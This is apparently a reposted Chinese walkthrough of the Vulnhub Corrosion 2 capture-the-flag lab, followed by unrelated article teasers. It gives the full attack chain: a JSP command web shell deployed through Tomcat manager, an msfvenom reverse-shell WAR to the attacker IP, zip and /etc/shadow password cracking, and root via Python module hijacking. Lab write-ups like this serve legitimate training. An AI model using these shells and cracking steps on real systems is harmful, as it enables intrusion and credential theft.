Vulnhub靶机:Corrosion 2

news2025/2/25 7:36:45

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:corrosion:2(10.0.2.13)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/corrosion-2,745/

二、信息收集

使用nmap主机发现靶机ip10.0.2.13

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口:22、80、8080

在这里插入图片描述

80端口:打开是一个apache2的默认页面,查看源码和目录爆破都没有发现可利用的点

在这里插入图片描述

8080端口:打开网站是tomcat后台登录页面,tomcat版本为9.0.53,使用dirsearch进行目录爆破,发现存在backup.zip备份文件和readme.txt文件

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

将备份文件下载,进行解压,发现需要密码。使用fcrackzip工具进行暴力破解,得到密码:@administrator_hi5

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip 

在这里插入图片描述
在这里插入图片描述

将备份文件解压,在tomcat-users.xml文件里发现tomcat后台的用户名和密码

在这里插入图片描述
在这里插入图片描述

三、漏洞利用

登录到后台后可以通过部署war包进行getshell,将war包上传,部署,可以看到应用列表已经出现了我们的目录

# cmd.jsp
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

#生成war包
jar cvf cmd.war cmd.jsp

在这里插入图片描述

在这里插入图片描述

访问一下/cmd/目录会返回404,但直接访问/cmd/cmd.jsp可以访问成功,执行命令id返回命令执行结果

http://10.0.2.13:8080/cmd/cmd.jsp?pwd=023&i=id

在这里插入图片描述

反弹shell,尝试过很多方法都失败了,怀疑是不是木马的问题,这次使用msfvenom生成war木马反弹shell,反弹成功

msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.2.15" LPORT=4444 -f war > cmdmsf.war                

在这里插入图片描述

在这里插入图片描述

使用python获取交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

查看具有root权限的文件,发现policykit-1/polkit-agent-helper-1,可以使用经典的本地提权漏洞cve-2021-4034,但发现靶机没有gcc环境,尝试在本地进行编译,再上传到靶机进行执行,但总是出现各种各样的问题,放弃。

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

查看/etc/passwd 中可存在的用户,发现jaye和randy用户

cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "/bin/sh"

在这里插入图片描述

尝试一下切换成 jaye 用户,密码还是用刚才发现的 Tomcat 密码

在这里插入图片描述

在/home/randy文件夹下发现note.txt文件,文件里说更改了 randy 对主目录的权限,不能进行删除和添加

在这里插入图片描述

在/home/jaye/Flies目录下,存在look文件,是系统的look命令,look命令可以越权访问

LFILE=file_to_read
./look '' "$LFILE"

在这里插入图片描述

在这里插入图片描述

/etc/shadow文件和/etc/passwd文件复制下来,保存到本地,使用unshadow命令创建1个含有用户名和密码详细信息的文件

unshadow passwd shadow > pass.txt

john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。使用john工具进行破解。爆出来两个用户:jaye\melehifokivai randy\07051986randy

john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt

使用randy的用户密码登录ssh

在这里插入图片描述

使用命令sudo -l查看可以执行的root权限的命令

/usr/bin/python3.8 /home/randy/randombase64.py

在这里插入图片描述

查看randombase64.py文件的内容,发现该文件调用了base64模块,并且尝试修改该文件,发现没有修改权限

在这里插入图片描述

在这里插入图片描述

想到调用了base64模块,是不是可以修改base64模块来达到提权的目的。发现base64模块可编辑

在这里插入图片描述

修改base64模块

在这里插入图片描述

执行命令运行randombase64.py,获取root权限

在这里插入图片描述

获取flag

在这里插入图片描述

参考链接:Vulnhub 靶场 CORROSION: 2 - sainet - 博客园 (cnblogs.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1373453.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python教程39:使用turtle画美国队长盾牌

---------------turtle源码集合--------------- Python教程36&#xff1a;海龟画图turtle写春联 Python源码35&#xff1a;海龟画图turtle画中国结 Python源码31&#xff1a;海龟画图turtle画七道彩虹 Python源码30&#xff1a;海龟画图turtle画紫色的小熊 Python源码29&a…

大创项目推荐 深度学习手势检测与识别算法 - opencv python

文章目录 0 前言1 实现效果2 技术原理2.1 手部检测2.1.1 基于肤色空间的手势检测方法2.1.2 基于运动的手势检测方法2.1.3 基于边缘的手势检测方法2.1.4 基于模板的手势检测方法2.1.5 基于机器学习的手势检测方法 3 手部识别3.1 SSD网络3.2 数据集3.3 最终改进的网络结构 4 最后…

iOS14 Widget 小组件调研

桌面小组件是iOS14推出的一种新的桌面内容展现形式。 根据苹果的统计数据&#xff0c;“一般用户每天进入主屏幕的次数超过90次”&#xff0c;如果有一个我们应用的小组件在桌面&#xff0c;每天都有超过90次曝光在用户眼前的机会&#xff0c;这绝对是一个顶级的流量入口。 “…

LCD—液晶显示中英文

本节主要介绍以下内容&#xff1a; 字符编码 字模 各种模式的液晶显示字符实验 本节字符编码说明参考网站 字符编码及转换测试&#xff1a;导航菜单 - 千千秀字 Unicode官网&#xff1a;http://www.unicode.org。 一、字符编码 由于计算机只能识别0和1&#xff0c;文字…

TensorFlow相关组件的安装

安装Anaconda3 安装Anaconda3的时候可以安装在任意磁盘中&#xff0c;在勾选path的时候全部勾选即可。更换Anaconda3的下载源为清华大学源&#xff0c;在此期间不要打开Anaconda3&#xff0c;在cmd中依次输入以下即可&#xff1a; conda config --add channels https://mirro…

基于TI TPSXX系列 Buck电路应用计算-外围器件详细计算过程

TPS54202 Buck电路应用计算 1、电气特性2、内部框图3、典型应用电路4、设计需求5、计算EN引脚电阻6、FB引脚电阻估算7、查看反馈电压电压基准8、输入电容计算10、FB引脚反馈电阻计算11、功率电感计算12、输出电容计算13、前馈电容计算15、Layout布局 TPS54202-中文版 1、电气特…

软件测试|详解 Pytest 参数化:简化测试用例的编写

简介 Pytest 是一个广泛使用的 Python 测试框架&#xff0c;它提供了丰富的功能来编写和执行测试用例。其中一个强大的特性是参数化&#xff0c;它允许我们通过一种简洁的方式运行多个输入参数的相似测试用例&#xff0c;从而减少冗余的代码。本文将详细介绍 Pytest 的参数化功…

招投标系统是Electron的纯内网编辑Office Word,可以设置部分区域可编辑,其他的地方不能编辑吗?

问题&#xff1a; 我们是招投标系统的开发公司&#xff0c;框架是用的Electron&#xff0c;需要在纯内网的环境下编辑Office Word&#xff0c;可以设置部分区域可编辑&#xff0c;其他的地方不能编辑吗&#xff08;如下红框位置&#xff09;并且在用户忘记填写一些区域的时候做…

linux kernel:devres模块架构分析

参考文档&#xff1a; https://www.kernel.org/doc/html/latest/driver-api/driver-model/devres.html https://www.cnblogs.com/sammei/p/3498052.html devres in linux driver devres: Managed Device Resource device resource managementdevres_alloc()动态申请内存分配…

【Python】编程练习的解密与实战(二)

​&#x1f308;个人主页&#xff1a;Sarapines Programmer&#x1f525; 系列专栏&#xff1a;《Python | 编程解码》⏰诗赋清音&#xff1a;云生高巅梦远游&#xff0c; 星光点缀碧海愁。 山川深邃情难晤&#xff0c; 剑气凌云志自修。 ​ 目录 &#x1fa90;1. 初识Python …

matlab多元线性回归

1.matlab多元回归示例如下&#xff1a; 解决问题&#xff1a;油价预测 方法&#xff1a;多元线性回归 实现&#xff1a;matlab regress()函数 技巧&#xff1a;通过增加X1^2&#xff0c;X2^2&#xff0c;或者X1*X2等构造的特征项&#xff0c;可以提高回归模型的拟合准确度&…

2023年全国职业院校技能大赛(高职组)“云计算应用”赛项赛卷⑩

2023年全国职业院校技能大赛&#xff08;高职组&#xff09; “云计算应用”赛项赛卷10 目录 需要竞赛软件包环境以及备赛资源可私信博主&#xff01;&#xff01;&#xff01; 2023年全国职业院校技能大赛&#xff08;高职组&#xff09; “云计算应用”赛项赛卷10 模块…

Java项目:117SpringBoot动漫论坛网站

博主主页&#xff1a;Java旅途 简介&#xff1a;分享计算机知识、学习路线、系统源码及教程 文末获取源码 117SpringBoot动漫论坛网站 一、项目介绍 动漫论坛网站是由SpringBootMybatis开发的&#xff0c;旅游网站分为前台和后台&#xff0c;前台为用户浏览&#xff0c;后台进…

Java零基础教学文档第三篇:JDBC

今日新篇章 【JDBC】 【主要内容】 JDBC概述 使用JDBC完成添加操作 使用JDBC完成更新和删除 DBUtils的简单封装 使用JDBC完成查询 使用JDBC完成分页查询 常用接口详解 JDBC批处理 SQL注入问题 事务处理解决转账问题 连接池 使用反射对DBUtils再次的封装 BaseDAO的封…

如何查看Ubuntu内存的使用情况

在Linux系统中&#xff0c;了解内存使用情况对于系统管理和性能优化非常重要。以下是一些常用的命令&#xff0c;以及它们的详细使用说明&#xff1a; 1. free 命令 用途: free 命令用于显示系统中空闲和已用的物理内存及交换内存。示例: 输入命令: free -m输出解释: 这将以M…

alertmanager高可用集群的部署方案

目录 alertmanager集群模式如何形成&#xff1f; 先看看prometheus这边怎么配 非容器部署 基于容器部署 alertmanager集群模式如何形成&#xff1f; 官方的&#xff1a;Alertmanager | Prometheus GitHub - prometheus/alertmanager: Prometheus Alertmanager 基本上就是…

C++面试宝典第18题:旋转数组

题目 给定一个数组,将数组中的元素向右移动k个位置,其中k是非负数。要求如下: (1)尽可能想出更多的解决方案,至少有三种不同的方法可以解决这个问题。 (2)使用时间复杂度为O(n)和空间复杂度为O(1)的原地算法解决这个问题。 示例 1: 输入: [1, 2, 3, 4, 5, 6, 7] 和 k…

Vue中的class和style绑定

聚沙成塔每天进步一点点 本文内容 ⭐ 专栏简介动态绑定class对象语法数组语法 动态绑定style对象语法多重值 ⭐ 写在最后 ⭐ 专栏简介 Vue学习之旅的奇妙世界 欢迎大家来到 Vue 技能树参考资料专栏&#xff01;创建这个专栏的初衷是为了帮助大家更好地应对 Vue.js 技能树的学习…

免费远程控制软件推荐2024最新

远程控制软件在我们的生活和工作中越来越常见&#xff0c;今天给大家分享一个免费的远程控制软件&#xff0c;教你如何使用手机远程控制电脑。 首先&#xff0c;您需要在电脑上安装KKView远程控制软件&#xff0c;该软件提供手机端和桌面端。安装完成后&#xff0c;您将获得一个…

win7添加access的odbc数据源

从控制面板打开odbc数据源&#xff1b;如果像下面没有access的驱动程序&#xff0c; 根据资料&#xff0c;打开C盘-Windows-SysWow64-odbcad32.exe&#xff0c;看一下就有了&#xff1b; 然后添加用户DSN&#xff0c;选中access的驱动程序&#xff0c; 自己输入一个数据源名&am…